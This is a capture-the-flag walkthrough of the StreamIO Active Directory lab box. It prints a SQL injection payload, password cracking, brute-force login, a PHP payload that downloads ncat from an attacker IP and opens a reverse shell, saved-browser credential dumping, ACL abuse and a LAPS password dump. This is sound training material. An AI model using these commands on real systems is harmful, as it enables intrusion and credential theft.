CPTS Prep - StreamIO - Windows Medium

StreamIO is a Windows Active Directory box that chains together a classic web application SQL injection, some password cracking, and an ACL abuse trick to go from an anonymous unauthenticated user all the way to Domain Admin. Below is a full walkthrough of how I got through it.

Initial Recon

I started with a full port scan to see what was exposed on the box.

r3v@copium ~> sudo nmap -sC -sV -p- -A 10.129.65.240
[sudo] password for r3v: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-09-03 10:42 CEST
Nmap scan report for 10.129.65.240
Host is up (0.099s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-09-03 15:44:40Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp   open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after:  2022-03-24T07:03:28
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2026-09-03T15:46:15+00:00; +7h00m00s from scanner time.
|_http-title: Not Found
| tls-alpn: 
|_  http/1.1
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49678/tcp open  msrpc         Microsoft Windows RPC
49709/tcp open  msrpc         Microsoft Windows RPC
49734/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (88%)
Aggressive OS guesses: Microsoft Windows Server 2019 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-time: 
|   date: 2026-09-03T15:45:38
|_  start_date: N/A

TRACEROUTE (using port 443/tcp)
HOP RTT      ADDRESS
1   98.95 ms 10.10.14.1
2   99.08 ms 10.129.65.240

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 214.72 seconds

The scan turned up a lot of typical Active Directory ports: DNS on 53, Kerberos on 88, LDAP on 389 and 3268, SMB on 445, and WinRM on 5985. There were also two web servers, one on port 80 running IIS with nothing interesting on it, and one on port 443 with a certificate that named two hostnames worth noting: streamIO.htb and watch.streamIO.htb.

With those hostnames in hand, I ran a DNS zone transfer attempt against the domain controller.

r3v@copium ~> dig axfr streamIO.htb @10.129.65.240

; <<>> DiG 9.18.39-0ubuntu0.24.04.7-Ubuntu <<>> axfr streamIO.htb @10.129.65.240
;; global options: +cmd
; Transfer failed.
r3v@copium ~> dig any streamIO.htb @10.129.65.240

; <<>> DiG 9.18.39-0ubuntu0.24.04.7-Ubuntu <<>> any streamIO.htb @10.129.65.240
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4858
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 3

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;streamIO.htb.			IN	ANY

;; ANSWER SECTION:
streamIO.htb.		600	IN	A	10.129.65.240
streamIO.htb.		3600	IN	NS	dc.streamIO.htb.
streamIO.htb.		3600	IN	SOA	dc.streamIO.htb. hostmaster.streamIO.htb. 291 900 600 86400 3600
streamIO.htb.		600	IN	AAAA	dead:beef::e5c0:d7bf:90ce:201f

;; ADDITIONAL SECTION:
dc.streamIO.htb.	1200	IN	A	10.129.65.240
dc.streamIO.htb.	1200	IN	AAAA	dead:beef::e5c0:d7bf:90ce:201f

;; Query time: 99 msec
;; SERVER: 10.129.65.240#53(10.129.65.240) (TCP)
;; WHEN: Thu Sep 03 11:11:10 CEST 2026
;; MSG SIZE  rcvd: 193

The transfer itself failed, which is expected, but the any query still leaked a useful bit of information: the domain controller's own hostname, dc.streamIO.htb. I added all three hostnames to /etc/hosts so I could browse them properly.

The plain HTTP site on port 80 had nothing worth looking at, so I moved over to the HTTPS site.

The login form immediately looked like a candidate for input validation weaknesses, so I filed that away and kept enumerating in parallel.

Enumerating SMB and LDAP

Before diving deeper into the web app, I ran enum4linux-ng against the box to see what could be pulled anonymously.

(enum4linux-ng) r3v@copium ~/T/E/enum4linux-ng (master)> ./enum4linux-ng.py streamIO.htb -A -C
ENUM4LINUX - next generation (v1.3.7)

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... streamIO.htb
[*] Username ......... ''
[*] Random Username .. 'xeluyebv'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)

 =====================================
|    Listener Scan on streamIO.htb    |
 =====================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 ====================================================
|    Domain Information via LDAP for streamIO.htb    |
 ====================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: streamIO.htb

 ===========================================================
|    NetBIOS Names and Workgroup/Domain for streamIO.htb    |
 ===========================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out

 =========================================
|    SMB Dialect Check on streamIO.htb    |
 =========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
  SMB 1.0: false
  SMB 2.0.2: true
  SMB 2.1: true
  SMB 3.0: true
  SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true

 ===========================================================
|    Domain Information via SMB session for streamIO.htb    |
 ===========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: DC
NetBIOS domain name: streamIO
DNS domain: streamIO.htb
FQDN: DC.streamIO.htb
Derived membership: domain member
Derived domain: streamIO

 =========================================
|    RPC Session Check on streamIO.htb    |
 =========================================
[*] Check for anonymous access (null session)
[-] Could not establish null session: STATUS_ACCESS_DENIED
[*] Check for guest access
[-] Could not establish guest session: STATUS_LOGON_FAILURE
[-] Sessions failed, neither null nor user sessions were possible

 ===============================================
|    OS Information via RPC for streamIO.htb    |
 ===============================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Skipping 'srvinfo' run, not possible with provided credentials
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: '1809'
OS build: '17763'
Native OS: not supported
Native LAN manager: not supported
Platform id: null
Server type: null
Server type string: null

[!] Aborting remainder of tests since sessions failed, rerun with valid credentials

Completed after 9.38 seconds

This confirmed the domain controller's name (DC), the NetBIOS domain (streamIO), and that SMB signing was required. Anonymous and guest SMB sessions were both denied, and LDAP enumeration didn't produce anything without valid credentials, so this path dead ended for the moment.

Finding the Injection Point

Running sqlmap against the initial HTTPS login page didn't turn anything up right away, and testing the more polished login form on streamIO.htb for injection didn't produce results either after a long stretch of trying, so I went back to basic directory brute forcing against the watch.streamIO.htb virtual host.

r3v@copium ~/T/S/S/sqlmap-dev (master) [1]> gobuster dir -u https://watch.streamIO.htb -w ~/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://watch.streamIO.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/r3v/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 2829]
/search.php           (Status: 200) [Size: 253887]
/static               (Status: 301) [Size: 157] [--> https://watch.streamIO.htb/static/]
/Search.php           (Status: 200) [Size: 253887]
/Index.php            (Status: 200) [Size: 2829]
/INDEX.php            (Status: 200) [Size: 2829]
/*checkout*           (Status: 400) [Size: 3420]
/*docroot*            (Status: 400) [Size: 3420]
/*                    (Status: 400) [Size: 3420]
/blocked.php          (Status: 200) [Size: 677]
/SEARCH.php           (Status: 200) [Size: 253887]
/http%3A%2F%2Fwww     (Status: 400) [Size: 3420]
/Static               (Status: 301) [Size: 157] [--> https://watch.streamIO.htb/Static/]
/http%3A              (Status: 400) [Size: 3420]

This surfaced a search.php endpoint that looked promising. I tested it manually with a simple UNION-based payload:

abcd' union select 1,2,3,4,5,6;-- -

It worked immediately.

The numbers from the SELECT statement were reflected back on the page, which confirmed the query was being executed directly against the backend database with no sanitization. From there I was able to pull data out of the database, including a table of usernames and password hashes.

Cracking the Hashes

With a set of MD5 hashes in hand, I ran them through hashcat against rockyou.

r3v@copium ~ [1]> hashcat -w 3 -O -D 1 -m 0 passwordz.hash ~/Wordlists/rockyou.txt --show
665a50ac9eaa781e4f7f04199db97a11:paddpadd
54c88b2dbd7b1a84012fabc1a4c73415:$hadoW
2a4e2cf22dd8fcb45adcb91be1e22ae8:$monique$1991$
ef8f3d30a856cf166fb8215aca93e9ff:%$clara
6dcd87740abb64edfa36d170f0d5450d:$3xybitch
08344b85b329d7efd611b7a7743e8a09:##123a8j8w5123##
ee0b8a0937abd60c2882eacb2f8dc49f:physics69i
b83439b16f844bd6ffe35c02fe21b3c0:!?Love?!123
f87d3c0d6c8fd686aacc6627f1f493a5:!!sabrina$
3577c47eb1e12c8ba021611e1280753c:highschoolmusical
b22abb47a02b52d5dfa27fb0b534f693:!5psycho8!
b779ba15cedfd22a023c4d8bcf5f2332:66boysandgirls..

A good chunk of them cracked. I split the results into separate username and password files and tried them against SMB with NetExec, but none of the combinations authenticated there.

r3v@copium ~> cat crackedpass | cut -d: -f1 > user
r3v@copium ~> cat crackedpass | cut -d: -f3 > pass
r3v@copium ~> nxc smb 10.129.65.240 -u user -p pass --no-bruteforce --continue-on-success
SMB         10.129.65.240   445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
SMB         10.129.65.240   445    DC               [-] streamIO.htb\admin:paddpadd STATUS_LOGON_FAILURE 
SMB         10.129.65.240   445    DC               [-] streamIO.htb\Barry:$hadoW STATUS_LOGON_FAILURE 
SMB         10.129.65.240   445    DC               [-] streamIO.htb\Bruno:$monique$1991$ STATUS_LOGON_FAILURE 
SMB         10.129.65.240   445    DC               [-] streamIO.htb\Clara:%$clara STATUS_LOGON_FAILURE 
SMB         10.129.65.240   445    DC               [-] streamIO.htb\dfdfdf:dfdfdf STATUS_LOGON_FAILURE 
SMB         10.129.65.240   445    DC               [-] streamIO.htb\Juliette:$3xybitch STATUS_LOGON_FAILURE 
SMB         10.129.65.240   445    DC               [-] streamIO.htb\Lauren:##123a8j8w5123## STATUS_LOGON_FAILURE 
SMB         10.129.65.240   445    DC               [-] streamIO.htb\Lenord:physics69i STATUS_LOGON_FAILURE 
SMB         10.129.65.240   445    DC               [-] streamIO.htb\Michelle:!?Love?!123 STATUS_LOGON_FAILURE 
SMB         10.129.65.240   445    DC               [-] streamIO.htb\Sabrina:!!sabrina$ STATUS_LOGON_FAILURE 
SMB         10.129.65.240   445    DC               [-] streamIO.htb\Thane:highschoolmusical STATUS_LOGON_FAILURE 
SMB         10.129.65.240   445    DC               [-] streamIO.htb\Victoria:!5psycho8! STATUS_LOGON_FAILURE 
SMB         10.129.65.240   445    DC               [-] streamIO.htb\yoshihide:66boysandgirls.. STATUS_LOGON_FAILURE 

Active Directory accounts and web application accounts don't always share the same set of credentials, so a miss on SMB doesn't rule out the credentials working elsewhere. I pointed Hydra at the site's actual login form instead, using the cracked username and password pairs.

r3v@copium ~> cat crackedpass | cut -d: -f1,3 > userpass
r3v@copium ~> hydra -C userpass streamio.htb https-post-form "/login.php:username=^USER^&password=^PASS^:F=failed"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-09-03 15:21:29
[DATA] max 13 tasks per 1 server, overall 13 tasks, 13 login tries, ~1 try per task
[DATA] attacking http-post-forms://streamio.htb:443/login.php:username=^USER^&password=^PASS^:F=failed
[443][http-post-form] host: streamio.htb   login: yoshihide   password: 66boysandgirls..
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-09-03 15:21:31

One combination worked: yoshihide with the password 66boysandgirls... That got me into the authenticated side of the web application.

Getting Code Execution

Once logged in as yoshihide, I found a way to get PHP code execution on the server (through the same kind of unsanitized input handling that made the SQL injection possible in the first place). I used it to drop a small PHP payload that pulled down ncat.exe from my attacking machine and used it to call back to a listener.

system("powershell -c wget 10.10.15.93/ncat.exe -outfile \\programdata\\ncat.exe");
system("\\programdata\\ncat.exe -e powershell 10.10.15.93 4433");

I served ncat.exe with a quick Python web server:

r3v@copium ~/T/u/s/b/w/x86 (master) [1]> sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.65.240 - - [03/Sep/2026 16:11:02] "GET /rce.php HTTP/1.0" 200 -
10.129.65.240 - - [03/Sep/2026 16:11:02] "GET /ncat.exe HTTP/1.1" 200 -

And caught the callback with netcat, landing a shell as streamio\yoshihide.

r3v@copium ~> nc -lvnp 4433
Listening on 0.0.0.0 4433
Connection received on 10.129.65.240 58269
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\inetpub\streamio.htb\admin> dir
dir


    Directory: C:\inetpub\streamio.htb\admin


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        2/22/2022   2:49 AM                css                                                                   
d-----        2/22/2022   2:49 AM                fonts                                                                 
d-----        2/22/2022   2:49 AM                images                                                                
d-----        2/22/2022   3:19 AM                js                                                                    
d-----        9/3/2026   2:11 PM                Microsoft                                                             
-a----         6/3/2022   1:51 AM           2401 index.php                                                             
-a----         6/3/2022   1:53 AM           3055 master.php                                                            
-a----        2/23/2022   2:16 AM            878 movie_inc.php                                                         
-a----        2/23/2022   2:16 AM            936 staff_inc.php                                                         
-a----        2/23/2022   2:16 AM            879 user_inc.php                                                          


PS C:\inetpub\streamio.htb\admin> whoami
whoami
streamio\yoshihide
PS C:\inetpub\streamio.htb\admin> 

Digging Through the Web Root for Credentials

After getting stuck here for a long time, I looked at 0xdf's writeup for a nudge. With a shell on the box, I searched the site's source files for anything referencing the database connection, since web apps often hardcode credentials directly in PHP.

PS C:\inetpub\streamio.htb> dir -recurse *.php | select-string -pattern "database"
dir -recurse *.php | select-string -pattern "database"

admin\index.php:9:$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
login.php:46:$connection = array("Database"=>"STREAMIO" , "UID" => "db_user", "PWD" => 'B1@hB1@hB1@h');
register.php:81:    $connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');

This turned up plaintext database credentials sitting inside admin/index.php, login.php, and register.php. Using the db_admin account, I queried a backup database directly with sqlcmd and pulled out a second, more complete set of usernames and password hashes from a users table.

PS C:\> sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select * from users;"
sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select * from users;"
id          username                                           password                                          
----------- -------------------------------------------------- --------------------------------------------------
          1 nikk37                                             389d14cb8e4e9b94b137deb1caf0612a                  
          2 yoshihide                                          b779ba15cedfd22a023c4d8bcf5f2332                  
          3 James                                              c660060492d9edcaa8332d89c99c9239                  
          4 Theodore                                           925e5408ecb67aea449373d668b7359e                  
          5 Samantha                                           083ffae904143c4796e464dac33c1f7d                  
          6 Lauren                                             08344b85b329d7efd611b7a7743e8a09                  
          7 William                                            d62be0dc82071bccc1322d64ec5b6c51                  
          8 Sabrina                                            f87d3c0d6c8fd686aacc6627f1f493a5                  

(8 rows affected)

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select table_name from streamio_backup.information_schema.tables;"
table_name
--------------------------------------------------------------------------------------------------------------------------------
movies
users

(2 rows affected)
cat user-passwords-backup
nikk37:389d14cb8e4e9b94b137deb1caf0612a
yoshihide:b779ba15cedfd22a023c4d8bcf5f2332
James:c660060492d9edcaa8332d89c99c9239
Theodore:925e5408ecb67aea449373d668b7359e
Samantha:083ffae904143c4796e464dac33c1f7d
Lauren:08344b85b329d7efd611b7a7743e8a09
William:d62be0dc82071bccc1322d64ec5b6c51
Sabrina:f87d3c0d6c8fd686aacc6627f1f493a5

More Password Cracking and Lateral Movement

I ran the newly recovered hashes through hashcat the same way as before, cracked a good number of them, and tried the results against WinRM this time.

nxc winrm 10.129.65.240 -u nikk37 -p '[email protected]'
SMB         10.129.65.240    5985   NONE             [*] None (name:10.129.65.240) (domain:None)
HTTP        10.129.65.240    5985   NONE             [*] http://10.129.65.240:5985/wsman
WINRM       10.129.65.240    5985   NONE             [+] None\nikk37:[email protected] (Pwn3d!)

The account nikk37 authenticated successfully over WinRM. I connected with evil-winrm and grabbed the user flag.

r3v@copium ~> evil-winrm -u nikk37 -p '[email protected]' -i 10.129.65.240
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nikk37\Documents> cd ..
*Evil-WinRM* PS C:\Users\nikk37> cd Desktop
*Evil-WinRM* PS C:\Users\nikk37\Desktop> type user.txt

Finding Slack Credentials with WinPEAS

Running WinPEAS as nikk37 turned up saved Firefox credentials for an internal Slack instance.

ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹ Browsers Information (T1217,T1539,T1555.003) ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

ÉÍÍÍÍÍÍÍÍÍ͹ Showing saved credentials for Firefox
     Url:           https://slack.streamio.htb
     Username:      admin
     Password:      JDg0dd1s@d0p3cr3@t0r
 
   =================================================================================================

     Url:           https://slack.streamio.htb
     Username:      nikk37
     Password:      n1kk1sd0p3t00:)
 
   =================================================================================================

     Url:           https://slack.streamio.htb
     Username:      yoshihide
     Password:      paddpadd@12
 
   =================================================================================================

     Url:           https://slack.streamio.htb
     Username:      JDgodd
     Password:      password@12
 
   =================================================================================================


ÉÍÍÍÍÍÍÍÍÍ͹ Looking for Firefox DBs
È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#browsers-history
    Firefox credentials file exists at C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db

This included logins for several other users: admin, nikk37, yoshihide, and JDgodd. None of these worked directly for WinRM, so a different approach was needed.

Abusing ACLs to Add a Group Member

Using PowerView, I checked what permissions nikk37 effectively had over other objects in the domain and found that the JDgodd account could be added to the "Core Staff" security group, and that this group in turn had rights I could abuse.


*Evil-WinRM* PS C:\Users\nikk37\Desktop> Import-Module .\PowerView.ps1
*Evil-WinRM* PS C:\Users\nikk37\Desktop> Add-DomainObjectAcl -Credential $cred -TargetIdentity "Core Staff" -PrincipalIdentity "streamio\JDgodd"
*Evil-WinRM* PS C:\Users\nikk37\Desktop> Add-DomainGroupMember -Credential $cred -Identity "Core Staff" -Members "StreamIO\JDgodd"
*Evil-WinRM* PS C:\Users\nikk37\Desktop> net user jdgodd 
User name                    JDgodd
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/22/2022 2:56:42 AM
Password expires             Never
Password changeable          2/23/2022 2:56:42 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   9/3/2026 3:50:40 PM

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users         *CORE STAFF
The command completed successfully.

With JDgodd now a member of Core Staff, that account had enough delegated rights to read LAPS passwords off the domain controller.

Dumping LAPS and Getting Administrator

I used Impacket's laps.py to pull the local administrator password that LAPS manages and rotates automatically.

(Impacket) r3v@copium ~/T/I/I/bin> python3 laps.py -u JDGodd -p JDg0dd1s@d0p3cr3@t0r -d streamio.htb
LAPS Dumper - Running at 09-03-2026 18:20:49
DC up1N41O2#6TEYF

That returned the current administrator password for the DC. Logging in with evil-winrm as administrator gave full control of the domain controller, and from there I grabbed the root flag off Martin's desktop.

(Impacket) r3v@copium ~/T/I/I/bin> evil-winrm -u administrator -p 'up1N41O2#6TEYF' -i 10.129.65.240
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
cd *Evil-WinRM* PS C:\Users\Administrator> cd ..
*Evil-WinRM* PS C:\Users> cd Martin
*Evil-WinRM* PS C:\Users\Martin> cd Desktop
*Evil-WinRM* PS C:\Users\Martin\Desktop> dir


    Directory: C:\Users\Martin\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         9/3/2026   8:35 AM             34 root.txt


*Evil-WinRM* PS C:\Users\Martin\Desktop> type root.txt

Reference: LAPSDumper on GitHub

Wrap-up

The path through this box is a good reminder of how small oversights compound. An unsanitized search parameter led to a full database dump, weak passwords cracked in minutes with rockyou, hardcoded database credentials sitting in plaintext PHP files, saved browser passwords for an internal chat tool, and finally an overly permissive ACL that let a low-privileged account add itself to a group with LAPS read rights. Any one of these fixed in isolation would have broken the chain.

Credit to 0xdf's writeup, which gave me the nudge I needed to find the hardcoded database credentials after I got stuck partway through.